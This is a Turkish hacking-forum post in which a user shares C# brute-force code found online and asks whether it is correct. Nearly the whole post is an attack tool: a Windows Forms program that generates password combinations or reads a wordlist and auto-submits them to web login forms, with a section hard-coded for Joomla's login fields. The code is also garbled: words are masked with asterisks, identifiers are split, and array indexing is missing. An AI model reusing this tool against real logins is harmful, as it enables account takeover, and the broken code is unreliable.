Brute Force

Ogulcan67

Yeni üye
4 May 2013
37
0
Arkadaşlar internette burute force kodları buldum.Acaba bu kodlar doğrumu diye sormak istedim.
Kodalar

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Collections;
using System.Threading;

namespace WindowsFormsApplication1
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
CheckForIllegalCrossThreadCalls = false; (threadları kontrol etmesin program hata vermesin diye eklediğimiz kod)
}
int g = 0;

List<string> turevler = new List<string>(); (türevler isminde liste oluşturdum buraya brute force ile bulunan kombinasyonları attım depoladım.)
ArrayList KarakterArray = new ArrayList();
string[] passArray;
string[] lowerChar = { "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "r", "s", "t", "u", "v", "y", "z" };
string[] upperChar = { "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "R", "S", "T", "U", "V", "Y", "Z" };
string[] numericChar = { "0", "1", "2", "3", "4", "5", "6", "7", "8", "9" }; //(Bu kısımda deneyeceğimiz karakterleri koyduk)

int numChars = 0;
bool Done = false;
int i = 0;
int j = 0;
bool DoneBrute = false;

private **** BruteForce()
{
passArray = new string[50];
for (i = 0; i < passArray.Length; i++)
passArray = "-1";
numChars = KarakterArray.Count;
for (i = 0; i < 1; i++)
passArray = KarakterArray[0].ToString();
i = 0;

while (passArray != "-1" && DoneBrute == false)
i++;

turevler.Add(ReturnPassword().ToString()); //(Türevler isminde oluşturdugum listeye üretilen brute force kombinasyonlarını gömdüm,kaydettim.)






while (true && DoneBrute == false)
{
for (i = 0; i < (passArray.Length + 1); i++)
{
if (passArray == "-1")
break;
}

i--;
Done = false;
while (!Done)
{

for (j = 0; j < numChars; j++)
{
if (passArray == KarakterArray[j].ToString())
break;


}
if (j == (numChars - 1))
{
passArray = KarakterArray[0].ToString();

turevler.Add(ReturnPassword().ToString());


i--;

if (i < 0)
{
for (i = 0; i < (passArray.Length + 1); i++)
{
if (passArray == "-1")
break;


}
passArray = KarakterArray[0].ToString();

turevler.Add(ReturnPassword().ToString());


Done = true;

}
}
else
{
passArray = KarakterArray[j + 1].ToString();

turevler.Add(ReturnPassword().ToString());


Done = true;
}
}
}

}
private string ReturnPassword()
{
string TempPass = "";
for (int i = 0; i < passArray.Length; i++)
TempPass += passArray;
TempPass = TempPass.Replace("-1", "");


return TempPass.Replace("-1", "");
}

private **** button1_Click(object sender, EventArgs e)
{
if(tabControl1.SelectedIndex==0)
webBrowser1.Navigate(textBox6.Text);
if(tabControl1.SelectedIndex==1)
webBrowser1.Navigate(textBox4.Text);
KarakterArray.AddRange(numericChar);
Thread thread = new Thread(new ThreadStart(BruteForce));
thread.Start();

}

private **** webBrowser1_********Completed(object sender, WebBrowser********CompletedEventArgs e)
{

if (tabControl1.SelectedIndex==1)
{

try
{
if (webBrowser1.********.GetElementById(textBox1.Text ) != null)
{

if (checkBox2.Checked == true)
{


webBrowser1.********.GetElementById(textBox1.Text) .InnerText = textBox3.Text;
webBrowser1.********.GetElementById(textBox2.Text) .InnerText = turevler[g];
textBox8.Text = turevler[g];



webBrowser1.********.GetElementById(textBox5.Text) .InvokeMember("click");

g++;


}
//bruteile atak
if (checkBox1.Checked == true)
{
webBrowser1.********.GetElementById(textBox1.Text) .InnerText = textBox3.Text;
webBrowser1.********.GetElementById(textBox2.Text) .InnerText = richTextBox1.Lines[g];
textBox8.Text = turevler[g];



webBrowser1.********.GetElementById(textBox5.Text) .InvokeMember("click");

g++;
}
}
}
catch (Exception)
{
MessageBox.Show("Bulunamadı Program Kapatılacak");
Application.Exit();

}



}
//JOOMLA
if (tabControl1.SelectedIndex == 0)
{

try
{
if (webBrowser1.********.GetElementById("modlgn_usern ame") != null)
{
//bruteattack
if (checkBox2.Checked == true)
{


webBrowser1.********.GetElementById("modlgn_userna me").InnerText = textBox7.Text;
webBrowser1.********.GetElementById("modlgn_passwd ").InnerText = turevler[g];
textBox8.Text = turevler[g];



webBrowser1.********.Forms[0].InvokeMember("submit");

g++;


}
//wordlistatak
if (checkBox1.Checked == true)
{
webBrowser1.********.GetElementById("modlgn_userna me").InnerText = textBox3.Text;
webBrowser1.********.GetElementById("modlgn_passwd ").InnerText = richTextBox1.Lines[g];
textBox8.Text = turevler[g];



webBrowser1.********.Forms[0].InvokeMember("submit");

g++;
}



//webBrowser1.********.GetElementById("modlgn_userna me").InnerText = textBox3.Text;
//webBrowser1.********.GetElementById("modlgn_passwd ").InnerText = turevler[g];
//textBox8.Text = turevler[g];
//webBrowser1.********.Forms[0].InvokeMember("submit");


//webBrowser1.********.GetElementById(textBox5.Text) .InvokeMember("click");

//g++;


}
}
catch (Exception)
{
MessageBox.Show("Bulunamadı Program Kapatılacak");
Application.Exit();

}



}

}

private **** Form1_FormClosing(object sender, FormClosingEventArgs e)
{
Application.ExitThread();
}

private **** checkBox1_CheckedChanged(object sender, EventArgs e)
{
textBox8.Visible = false;
}




//webBrowser1.********.GetElementById("Giriş").Invok eMember(Click);


}


}
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.